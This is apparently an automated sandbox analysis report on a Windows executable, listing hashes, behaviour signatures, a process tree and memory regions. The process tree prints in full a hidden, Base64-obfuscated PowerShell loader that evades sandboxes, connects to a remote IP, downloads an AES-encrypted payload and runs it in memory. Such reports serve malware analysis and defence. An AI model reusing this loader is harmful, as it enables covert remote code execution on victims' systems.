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Analysis

  • max time kernel
    148s
  • max time network
    156s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19/03/2024, 18:47

General

  • Target

    0a4d7ed03798e5257a21afc76553e538486316389bd54c9b9bcc03699ae21cd3.exe

  • Size

    769KB

  • MD5

    c6fea3621cca858371f2d596c9723891

  • SHA1

    48a23b6c768a4a4f8ba2864159f959c0e025f08a

  • SHA256

    0a4d7ed03798e5257a21afc76553e538486316389bd54c9b9bcc03699ae21cd3

  • SHA512

    c3c7973b774c9cbe0888ebf4858b617a4431cb614a38d260ebefa3717ee932ccb0e93a14159aa6856aa0094e13627a1c8a071fdfff3639f5b14194af3a3d1bf4

  • SSDEEP

    12288:9ZZYXK0z6bPETqd/a0hQ6o0No0mo09dCAMdCAHdCAwrH/cfwwGHCfu1eUgzpCGKD:9cXKp2b0y6fgli7vwPifu1d0yQ314

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0a4d7ed03798e5257a21afc76553e538486316389bd54c9b9bcc03699ae21cd3.exe
    "C:\Users\Admin\AppData\Local\Temp\0a4d7ed03798e5257a21afc76553e538486316389bd54c9b9bcc03699ae21cd3.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1776
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command if ([System.Environment]::GetEnvironmentVariables().Count -lt 10) {exit -65536;} $danaAlannah = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('OTEuMjE1Ljg1LjE5OA==')); $aramisAlannah = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('NDE2OTU=')); $sherpasReparel = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('NTBhNjg=')); $oberonDana = new-object System.Net.Sockets.TcpClient; $oberonDana.Connect($danaAlannah, [int]$aramisAlannah); $alannahArain = $oberonDana.GetStream(); $oberonDana.SendTimeout = 300000; $oberonDana.ReceiveTimeout = 300000; $gliomaArain = [System.Text.StringBuilder]::new(); $gliomaArain.AppendLine('GET /' + $sherpasReparel); $gliomaArain.AppendLine('Host: ' + $danaAlannah); $gliomaArain.AppendLine(); $gliomaAramis = [System.Text.Encoding]::ASCII.GetBytes($gliomaArain.ToString()); $alannahArain.Write($gliomaAramis, 0, $gliomaAramis.Length); $onusArain = New-Object System.IO.MemoryStream; $alannahArain.CopyTo($onusArain); $alannahArain.Dispose(); $oberonDana.Dispose(); $onusArain.Position = 0; $gliomaSowback = $onusArain.ToArray(); $onusArain.Dispose(); $sowbackAlannah = [System.Text.Encoding]::ASCII.GetString($gliomaSowback).IndexOf('`r`n`r`n')+1; $gliomaAlannah = [System.Text.Encoding]::ASCII.GetString($gliomaSowback[$sowbackAlannah..($gliomaSowback.Length-1)]); $gliomaAlannah = [System.Convert]::FromBase64String($gliomaAlannah); $sherpasSowback = New-Object System.Security.Cryptography.AesManaged; $sherpasSowback.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sherpasSowback.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $sherpasSowback.Key = [System.Convert]::FromBase64String('yhw+bQ6dDyupOV1xzuOhL65Top3x+yWenlXd6UEYqAM='); $sherpasSowback.IV = [System.Convert]::FromBase64String('pXmM/4stDHWwo+KOQjpI+A=='); $sherpasAramis = $sherpasSowback.CreateDecryptor(); $gliomaAlannah = $sherpasAramis.TransformFinalBlock($gliomaAlannah, 0, $gliomaAlannah.Length); $sherpasAramis.Dispose(); $sherpasSowback.Dispose(); $alannahSherpas = New-Object System.IO.MemoryStream(, $gliomaAlannah); $aramisSherpas = New-Object System.IO.MemoryStream; $oberonAramis = New-Object System.IO.Compression.GZipStream($alannahSherpas, [IO.Compression.CompressionMode]::Decompress); $oberonAramis.CopyTo($aramisSherpas); $gliomaAlannah = $aramisSherpas.ToArray(); $onusSherpas = [System.Reflection.Assembly]::Load($gliomaAlannah); $aramisArain = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZHJlbnRJb3M=')); $onusGlioma = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('c293YmFja0FyYWlu')); $onusSowback = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('b251c0FsYW5uYWg=')); $reparelGlioma = $onusSherpas.GetType($aramisArain + '.' + $onusGlioma); $sherpasOberon = $reparelGlioma.GetMethod($onusSowback); $sherpasOberon.Invoke($alannahSowback, (, [string[]] (''))); #($alannahSowback, $alannahSowback);
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4344
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1776 -s 1776
      2⤵
      • Program crash
      PID:2332
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1776 -ip 1776
    1⤵
      PID:2664

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_new24xkb.d4d.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1776-1-0x0000000000CA0000-0x0000000000D62000-memory.dmp

      Filesize

      776KB

    • memory/1776-2-0x00000000058B0000-0x00000000058C0000-memory.dmp

      Filesize

      64KB

    • memory/1776-3-0x0000000005F70000-0x0000000006516000-memory.dmp

      Filesize

      5.6MB

    • memory/1776-4-0x0000000005A60000-0x0000000005AF2000-memory.dmp

      Filesize

      584KB

    • memory/1776-5-0x0000000006520000-0x0000000006877000-memory.dmp

      Filesize

      3.3MB

    • memory/1776-6-0x0000000005A40000-0x0000000005A4A000-memory.dmp

      Filesize

      40KB

    • memory/1776-0-0x0000000074980000-0x0000000075131000-memory.dmp

      Filesize

      7.7MB

    • memory/1776-30-0x0000000074980000-0x0000000075131000-memory.dmp

      Filesize

      7.7MB

    • memory/1776-29-0x00000000058B0000-0x00000000058C0000-memory.dmp

      Filesize

      64KB

    • memory/1776-28-0x0000000074980000-0x0000000075131000-memory.dmp

      Filesize

      7.7MB

    • memory/4344-7-0x0000000003310000-0x0000000003346000-memory.dmp

      Filesize

      216KB

    • memory/4344-27-0x0000000006D80000-0x0000000006D9A000-memory.dmp

      Filesize

      104KB

    • memory/4344-13-0x0000000005AE0000-0x0000000005B46000-memory.dmp

      Filesize

      408KB

    • memory/4344-14-0x0000000005B50000-0x0000000005BB6000-memory.dmp

      Filesize

      408KB

    • memory/4344-11-0x0000000005CD0000-0x00000000062FA000-memory.dmp

      Filesize

      6.2MB

    • memory/4344-23-0x0000000006800000-0x000000000681E000-memory.dmp

      Filesize

      120KB

    • memory/4344-24-0x0000000006850000-0x000000000689C000-memory.dmp

      Filesize

      304KB

    • memory/4344-25-0x0000000005690000-0x00000000056A0000-memory.dmp

      Filesize

      64KB

    • memory/4344-26-0x0000000008180000-0x00000000087FA000-memory.dmp

      Filesize

      6.5MB

    • memory/4344-12-0x0000000005940000-0x0000000005962000-memory.dmp

      Filesize

      136KB

    • memory/4344-10-0x0000000005690000-0x00000000056A0000-memory.dmp

      Filesize

      64KB

    • memory/4344-9-0x0000000005690000-0x00000000056A0000-memory.dmp

      Filesize

      64KB

    • memory/4344-8-0x0000000074980000-0x0000000075131000-memory.dmp

      Filesize

      7.7MB

    • memory/4344-32-0x0000000074980000-0x0000000075131000-memory.dmp

      Filesize

      7.7MB

    • memory/4344-33-0x0000000005690000-0x00000000056A0000-memory.dmp

      Filesize

      64KB

    • memory/4344-34-0x0000000005690000-0x00000000056A0000-memory.dmp

      Filesize

      64KB

    • memory/4344-37-0x0000000074980000-0x0000000075131000-memory.dmp

      Filesize

      7.7MB